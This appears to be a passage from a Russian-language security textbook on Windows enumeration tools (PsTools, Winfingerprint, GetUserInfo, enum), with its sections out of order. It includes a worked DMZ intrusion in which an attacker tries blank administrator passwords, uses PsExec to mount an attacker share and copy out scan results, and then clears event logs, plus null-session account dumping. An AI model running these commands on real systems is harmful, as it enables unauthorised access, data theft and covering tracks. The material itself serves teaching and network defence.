И, наконец, команда find может быть использована для поиска службы, работающей в сети. Она работает подобно сканеру сети. Например, для поиска хостов в домене, на которых выполняется служба Terminal Services, следует искать службу termservice.

C:\>psservice.exe find termservice Found termservice on: \\ZIGGURAT \\GOBLYNSWOOD

Используйте это совпадение со сканером портов для определения "кривых" установок IIS в вашей сети.


PsShutdown


PsShutdown - исключение из правил для набора PsTools. Программа обеспечивает те же самые функции, что аналогичное средство из набора Resource Kit. Обе программы работают удаленно. Вы можете разгрузить сервер или остановить незаконченный процесс разгрузки. PsShutdown используется, как это показано ниже (psshutdown вводится без параметров, чтобы продемонстрировать доступные параметры).

C:\>psshutdown.exe PsShutdown v1.01 - Local and remote shutdown/reboot program Copyright (C) 2000 Mark Russinovich Sysinternals - www.sysinternals.com usage: psshutdown [-t nn] [-m "message"] [-f] [-r] [-a] [-l | \\computer] -t Specifies countdown in seconds until shutdown (default: 20 seconds) -m Message to display to logged on users -f Forces running applications to close -r Reboot after shutdown -a Abort a shutdown (only possible while countdown is in progress) -l Shutdown the local system \\computer Shutdown the remote computer specified

Нет никаких особых преимуществ использования этой утилиты. Чтобы просто разгрузить компьютер, воспользуйтесь параметром -f; это работает аналогично команде shutdown -c -y из Resource Kit.

Пример из жизни. Проникновение в DMZ

Строгие правила брандмауэра все больше закрывают порты, которые сеть открывает для интернета. Хорошая архитектура сети помещает такие серверы высокого риска, как Web, почтовый и DNS в сегменты сети, отделенные от внутренней корпоративной сети и интернета, т.е. в область, относящуюся к демилитаризованной зоне, или DMZ. Однако корпоративная сеть может быть враждебной к Web-серверам и базам данных DMZ во многих отношениях. "Тревожный звонок" может обнаружить на рабочем месте пользователя PCAnywhere, беспроводный дисковод может обнаружить плохо защищенную точку доступа, которая предлагает адрес Dynamic Host Configuration Protocol (DHCP), или зловредный внутренний пользователь может пожелать залезть в кредитные карты, хранящиеся в базе данных.

В любом случае порты NetBIOS между корпоративной сетью и DMZ чаще всего открыты. Несмотря на это, атака хакеров из интернета вызывает беспокойство, верно? Взгляните на то, как PsTools рассортировал Web-адреса. Во-первых, наш взломщик находится в корпоративной сети (IP-адрес в диапазоне 10.0.0.x), он получил доступ из беспроводного сетевого информационного центра (NIC). Целевая сеть - это Web-серверы и базы данных диапазона 192.168.17.x. Сканирование порта показывает только несколько открытых служб.

C:\fscan -p1-1024 192.168.17.1-192.168.17.255 192.168.17.1 139/tcp 192.168.17.1 135/tcp 192.168.17.1 3389/tcp 192.168.17.1 445/tcp 192.168.17.39 80/tcp 192.168.17.39 139/tcp 192.168.17.39 135/tcp 192.168.17.39 445/tcp 192.168.17.148 80/tcp 192.168.17.148 139/tcp 192.168.17.202 445/tcp 192.168.17.239 139/tcp 192.168.17.239 135/tcp 192.168.17.239 445/tcp

Похоже, что только порты Web и NetBIOS открыты; порты SQL должны быть блокированы брандмауэром.

Хакер может запустить Winfingerprint, чтобы выяснить истинное имя пользовательского профиля администратора в случае, если системный администратор его переименовал (SID 500). Здесь взломщик запускает быстрый тест в диапазоне, чтобы определить любые системы с пустым паролем администратора. Бесполезно пробовать каждый IP-адрес сети 192.168.17.x, потому что многие из них не используются. Файл hosts.txt содержит IP-адрес или имя хоста только работающих систем.

C:\for /F %%h in (hosts.txt) do psinfo -u Administrator -p "" \\192.168.17.%%h systeminfo_192.168.17.%%h.txt

Если любая из команд прошла успешно, то взломщик обнаружил пользовательский профиль с пустым паролем. Заметьте, что атакующий нацелился на пользовательский профиль локального администратора каждой системы. В данном случае, на хосте 192.168.17.148 пароль администратора был пуст. PsInfo также обнаружил это (hotfix).

SP2SRP1: Windows 2000 Security Rollup Package...

Этот пакет со сдвигом строк означает, что наиболее распространенные уязвимости IIS залатаны, но это не предотвратило атаку, раз доступ к командной строке был получен с помощью PsExec.

Взломщик создает общий ресурс Windows в своей собственной системе, 10.0.0.99, как хранилище для информации, собранной с Web-сервера. Затем атакующий применяет PsExec, чтобы заставить Web-сервер смонтировать этот ресурс.

C:\psexec -u Administrator -p "" \\192.168.17.148 net use * \\10.0.0.99\tools pass /u:user Drive H: is now connected to \\10.0.0.99\tools. The command completed successfully.

Затем взломщик запускает другой fscan с атакованного Web-сервера. Результаты должны отличаться, потому, что сканирование происходит за брандмауэром (см. лекцию "Перенаправление портов" на предмет методов доступа к портам, блокированных брандмауэром).

C:\psexec -u Administrator -p "" \\192.168.17.148 -c fscan.exe -q -o h:\fscan.output -bp1-65535 192.168.17.0-192.168.17.255

Посмотрите, что здесь происходит. Fscan копируется на систему-жертву (-c); система-жертва запускает fscan и сохраняет отчет (-o h:\fscan.output) на системе взломщика. Помните, что предыдущий шаг отобразил диск H: системы-жертвы в системе взломщика. Глядя в отчет, fscan обнаружил еще одну службу.

192.168.17.202 1433/tcp

Взломщик нашел базу данных!

Затем атакующий запускает PsExec на 192.168.17.202 и собирает некоторую основную информацию. Вот некоторые из команд, которые надо запустить.

ipconfig /all. Определяет, является ли система системой со многими IP-адресами. Web-сервер часто имеет две сетевые карты - одну для интернет IP-адреса и другую для внутренних связей с базой данных.netstat -na. Просматривает текущие связи и принимающие службы. Это отличный способ идентифицировать другие сети. Например, мы можем провести сканирование портов всего пространства сети класса А (10.0.0.0/8) или проверить отчет netstat и обнаружить связи со специфическими сетями класса С (10.0.35.0/24, 10.0.16.0/24 и т.д.).dir /s c:\. Рекурсивный список директорий, повторяемый для каждого из дисков. Наряду со средством PsService, это определяет, какие программы инсталлированы. Это может также выявить чувствительные файлы, такие, как global.asa, которые содержат чистые текстовые пароли.

Как только все данные были украдены с сервера, взломщик вычищает файлы протоколов (logfiles) и переходит к следующей цели.

C:\psloglist.exe -c Application -u Administrator -p "" \\192.168.17.148 C:\psloglist.exe -c System -u Administrator -p "" \\192.168.17.148 C:\psloglist.exe -c Security -u Administrator -p "" \\192.168.17.148

Пример из жизни. Одомашнивание IDS

PsTools кажется настолько элементарным, что вы можете усомниться в его полезности. Спросите себя, что вы хотите сделать. Способность дистанционно взаимодействовать со службами, файлами протоколов (logfiles) и командной строкой - это не то, над чем можно посмеяться. Фактически, немного гениальности в комбинации с несколькими короткими batch-файлами и запланированными задачами может создать систему вторжения/обнаружения (IDS) среднего уровня. Рассмотрите следующие сценарии.

Управляющие процессы. В 2001 г. прогон взломов IIS отправлял программные оболочки cmd.exe обратно к взломщику. Иногда cmd.exe переименовывали в root.exe.

Чтобы справиться с таким типом взлома, вы сначала настраиваете усиленную систему Windows на работу в качестве главного административного сервера. Затем запускаете следующий сценарий, чтобы просмотреть на предмет нестандартных процессов (вам понадобятся команды sleep и tee из Resource Kit или Cygwin).

rem ProcWatch.bat| rem usage: procwatch.bat IP address username password :loop pslist \\%1 -u %2 -p%3 cmd | tee procwatch.txt sleep 60 goto :loop

Обратите внимание, что batch-файл принимает IP-адрес, имя пользователя и пароль из командной строки. Это гарантирует, что мы никогда не пишем пароль, который делает файл универсально применимым. Заметьте, что файл истории DOS на главном сервере запомнит пароль. Следующее диалоговое окно свойства (Properties) показывает, как установить размер буфера в ноль, используя свойства (Properties) cmd.exe.


Вы можете наблюдать отчет на командном экране, или запустить другие средства, чтобы просмотреть файл procwatch.txt автоматически на присутствие cmd.exe.

Сбор файлов протоколов (Log Files). Другое преимущество использования PsExec и PsLogList состоит в консолидации файлов протоколов (logfile). Мы уже продемонстрировали, насколько полезен PsLogList для сбора и чистки удаленных протоколов событий. Файлы протоколов Web-сервера требуют более сложного подхода. Вы можете запускать сценарии на каждом отдельном Web-сервере, которые копируют протоколы, или запустить один сценарий со своего главного административного сервера, который собирает файлы протоколов со всех Web-серверов. В дополнение к следующим двум batch-файлам, вам необходимо задать следующее.

C:\shares\dropoff\. Директория, размещенная на главном сервере, в которой пользователь Guest записывает привилегии.C:\logs\. Директория для хранения файлов протоколов (logfiles). Создайте вложенные директории по имени каждого Web-сервера.batch-файл сбора. Это файл, чтобы запускать процесс сбора.

rem CollectLogs.bat rem usage: CollectLogs.bat username password

for /F %%h in (webservers.txt) do rotate.bat %%h %1 %2

Это вспомогательный batch-файл, который выполняет фактическую работу.

rem rotate.bat rem usage: rotate.bat IP address username password

rem Stop the Web Service psservice \\%1 -u %2 -p %3 stop w3svc rem Mount the master's file share for dropping off files psexec \\%1 -u %2 -p %3 net use L: \\master\dropoff plainpass /u:guest rem Copy the files from the web server to the master psexec \\%1 -u %2 -p %3 cmd copy C:\Winnt\System32\LogFiles\W3SVC1\*.log L:\ rem Move the files from the master's dropoff folder to the log folder rem for the web server move C:\shares\dropoff\*.log C:\logs\%1\ rem Disconnect the share psexec \\%1 -u %2 -p %3 net use L: /del rem Restart the Web Service psservice \\%1 -u %2 -p %3 start w3svc

Вы можете запускать его каждый день, неделю, месяц. Он оставляет файлы протоколов (logfiles) на Web-сервере, но создает копии на вашем главном сервере. Затем вы можете запускать другие сценарии, чтобы производить автоматизированный обзор протоколов.

<

PSTOOLS


Комплект PsTools располагается в переходной области между регистрирующим и полнофункциональным доступом к системе. Эти средства разработаны Марком Русиновичем из SysInternals и доступны по адресу http://www.sysinternals.com/ntw2k/freeware/pstools.shtml. Утилиты enum и Winfingerprint довольствуются установлением NULL IPC$ соединения, а PsTools требуют пользовательских полномочий для реализации некоторых возможностей. Тем не менее, этот набор утилит возвращает открытый порт NetBIOS к лучшим временам удаленного выполнения команд. Вместо описания утилит в алфавитном порядке, мы начнем с наиболее безобидных и работающих универсально. Набор администратора Windows должен содержать эти средства, поскольку они существенно упрощают удаленное администрирование.

Но для начала сделаем несколько замечаний об использовании этих программ.

Вы должны иметь полномочия пользователя. Наиболее функциональные из описываемых средств требуют полномочий администратора системы. На исследуемой системе должна быть запущена служба "Server". Служба "NetLogon" помогает передавать пользовательские полномочия в домене. Служба "RemoteRegistry" используется аналогично PsInfo.Должен быть доступен ресурс IPC$.

В системе, где администрирование осуществляется с использованием графического интерфейса пользователя, левой кнопки мыши и терминальных служб, этот набор программ сохранит от излишнего напряжения в процессе работы.

Внимание. В процессе удаленного администрирования ваше имя пользователя и пароль передаются по сети! Если вы беспокоитесь о sniffing-атаках, убедитесь, что ваши Windows 2000- и XP-серверы используют NTLMv2. Это дефект скрытой схемы аутентификации Windows, а не PsTools. Обратитесь к лекции "Средства взлома/подбора паролей" для получения дополнительной информации о паролях Windows.



Реализация


Winfingerprint основана на графическом интерфейсе пользователя (GUI). Программа может сканировать единичный хост или непрерывный интервал сети. Состав запрашиваемой информации определяется установкой соответствующих отметок в формах. В этом есть только один неясный момент: нажимая кнопку OK, вы подразумеваете команду "сканировать хост". Рисунок 7.1 демонстрирует сканирование с отмеченным флагом NetBIOS.


увеличить изображение
Рис. 7.1.  Сканирование Winfingerprint

Это не главный фокус в использовании Winfingerprint. Но, тем не менее, отметим некоторую полезную информацию.

Role. Winfingerprint может определить с некоторой степенью подробности тип сервера и его операционную систему. Идентификаторы первичных контроллеров доменов (PDCs), контроллеров доменов резервирования (BDCs), и любые домены, к которым относится компьютер.Date/Time. Помогает сделать предположения о месте физического размещения сервера. Локальное время сервера также может быть использовано, если вы попытаетесь управлять удаленными заданиями с использованием команды AT.Usernames. Winfingerprint выводит список системных идентификаторов ID (SID) для каждого пользователя. Так можно определить администратора (SID 500).Sessions. Здесь приводится список NetBIOS-имен других систем, которые поддерживают соединение с исследуемой. Часто это помогает уточнить список исследуемых систем BDC, баз данных или администраторов.Services. Полный список служб дает возможность узнать, какие программы установлены и активны.Примечание. Использование кнопки Save приведет к запросу "Winfingerprint Output", но это всего лишь способ вывести информацию в текстовый файл.

Несмотря на извлекаемое количество информации, Winfingerprint, как все программы с графическим интерфейсом, имеет тот же недостаток - он не может быть запущен под управлением файла параметров. Интерфейс также позволяет задать большой интервал для сканирования, что приведет к получению результата в не слишком удобном формате. Можно использовать Perl-скрипт для анализа результата по ключевым полям, но это будет весьма неудобно для большой сети.


Формат вывода очень похож на вывод команды net user, с несколькими мелкими отличиями, на которые важно обратить внимание. Строки, представленные жирным шрифтом, содержат информацию, которой нет в сообщениях команды net user.

C:\>GetUserInfo.exe administrator GetUserInfo V02.05.00cpp Joe Richards (joe@joeware.net) January 2002 User information for [Local]\administrator User Name Administrator Full Name Description Built-in account for administering the computer/domain User's Comment User Type Admin Enhanced Authority Account Type Global Workstations Home Directory User Profile Logon Script Flags NO_PWD_EXPIRE Account Expires Never Password age in days 249 Password last set 7/6/2001 3:22 PM Bad PWD count 0 Num logons (this machine) 2432 Last logon 3/12/2002 8:24 PM Logon hours All Global group memberships *None Local group memberships *Administrators Completed.

Используя информацию о паролях (возраст, счетчик ошибочно введенных паролей, число входов в систему), вы можете сделать несколько выводов об этом пользователе. Неправильно введенные пароли могут свидетельствовать о предпринимаемых атаках или, если вы сами совершаете такую атаку, о том, как близко вы к пределу возможного количества попыток ввода неверного пароля. Возраст пароля может свидетельствовать о старом, не изменявшемся пароле, что является признаком пользовательского профиля, который никогда не использовался. Количество входов в систему может свидетельствовать об интенсивности использования соответствующего пользовательского профиля. Профиль с большим количеством входов может означать, что пользователь часто использует систему; соответственно малое количество входов может говорить о не слишком частой проверке системы. Конечно, количество входов в систему больше нуля для заблокированного пользователя (например, guest) означает, что в сети произошло нечто.

Используя символ точки (.), можно перечислить всех пользователей системы. Посмотрите на правильный синтаксис.

C:\>GetUserInfo.exe \. GetUserInfo V02.05.00cpp Joe Richards (joe@joeware.net) January 2002 User Accounts for [Local] ----------------------------------------------------------------------------------------- Administrator Orc skycladgirl test __vmware_user__

С этого момента вы можете повторять просмотр для каждого пользователя для сбора специфической информации о пользовательском профиле. Утилиты командной строки хороши, а средства командной строки, которые могут работать на удаленной системе, просто великолепны. GetUserInfo может извлекать информацию о заданном домене или сервере.

C:\>GetUserInfo.exe \\192.168.0.43\. C:\>GetUserInfo.exe domain\\192.168.0.43\. Совет. В сети с большим количеством Windows-доменов в первую очередь обращайте внимание на локальных пользователей (Local user).

Замените точку именем пользователя для получения сведений о заданном пользователе.




Несмотря на то, что enum поставляется в исходных кодах, исполняемый модуль также доступен. Программа использует встроенные функции Windows, так что не нужно никаких дополнительных DLL-библиотек. Как только вы обнаружите открытый TCP-порт 139 в Windows, тут же запускайте enum.

C:\>enum.exe usage: enum.exe [switches] [hostname|ip] -U: get userlist -M: get machine list -N: get namelist dump (different from -U|-M) -S: get sharelist -P: get password policy information -G: get group and member list -L: get LSA policy information -D: dictionary crack, needs -u and -f -d: be detailed, applies to -U and -S -c: don't cancel sessions -u: specify username to use (default "") -p: specify password to use (default "") -f: specify dictfile to use (wants -D)

Первые шесть параметров возвращают богатейшую информацию о цели исследования, обеспечивая доступ к общему ресурсу IPC$ через 139 или 445 порт. По умолчанию программа создает соединение с использованием NULL-ресурса - обычно это анонимный пользователь. Вы можете задать одновременно все шесть параметров, но мы сделаем это по отдельности, чтобы получить удобочитаемую выходную информацию.

C:\>enum -UPG 192.168.0.139 server: 192.168.0.139 setting up session... success. password policy: min length: none min age: none max age: 42 days lockout threshold: none lockout duration: 30 mins lockout reset: 30 mins getting user list (pass 1, index 0)... success, got 5. Administrator Guest IUSR_ALPHA IWAM_ALPHA TsInternetUser Group: Administrators ALPHA\Administrator Group: Guests ALPHA\Guest ALPHA\TsInternetUser ALPHA\IUSR_ALPHA ALPHA\IWAM_ALPHA Group: Power Users cleaning up... success.

Строки, помеченные жирным шрифтом, свидетельствуют о том, что выбранная система прекрасно подходит для подбора пароля. Число попыток входа с неправильным паролем не ограничено. На основании списка пользователей мы также сделали вывод, что в системе установлен Internet Information Server (IIS) (IUSR_ALPHA, IWAM_ALPHA) и Terminal Services (TsInternetUser).




PsTools содержит 10 различных утилит, существенно упрощающих администрирование больших сетей. Удаленный доступ с использованием Terminal Services также способствует этому, но эти утилиты могут быть составной частью автоматических скриптов, включающих в себя журналы, списки активных пользователей, или могут выполняться по команде в дюжине систем.



Winfingerprint


Утилита Winfingerprint активно разрабатывается, доступна в исходных кодах и позволяет получить большое количество информации из IPC$-области. Реализация протокола SNMP (Simple Network Management Protocol) дает доступ к журналу событий и возможность исследовать структуру Active Directory.



Запуск Development Build


Для администраторов, которые хотят получить доступ к самым свежим возможностям Winfingerprint, доступны исходные коды программы. Используйте cvs-систему (Concurrent Versions System) для получения последней версии кодов (пароль остается пустым).

$ cvs -d:pserver:anonymous@cvs.winfingerprint.sourceforge.net :/cvsroot/winfingerprint login (Logging in to anonymous@cvs.winfingerprint.sourceforge.net) CVS password: $ cvs -z3 -d:pserver:anonymous@cvs.winfingerprint.sourceforge.net :/cvsroot/winfingerprint co winfingerprint

Результирующая директория содержит рабочий проект для Visual Studio. Откройте проект Visual Studio Project (DSP) и откомпилируйте. Если вы столкнулись с проблемами, убедитесь, что в опциях компиляции General установлен параметр uses MFC Shared DLL.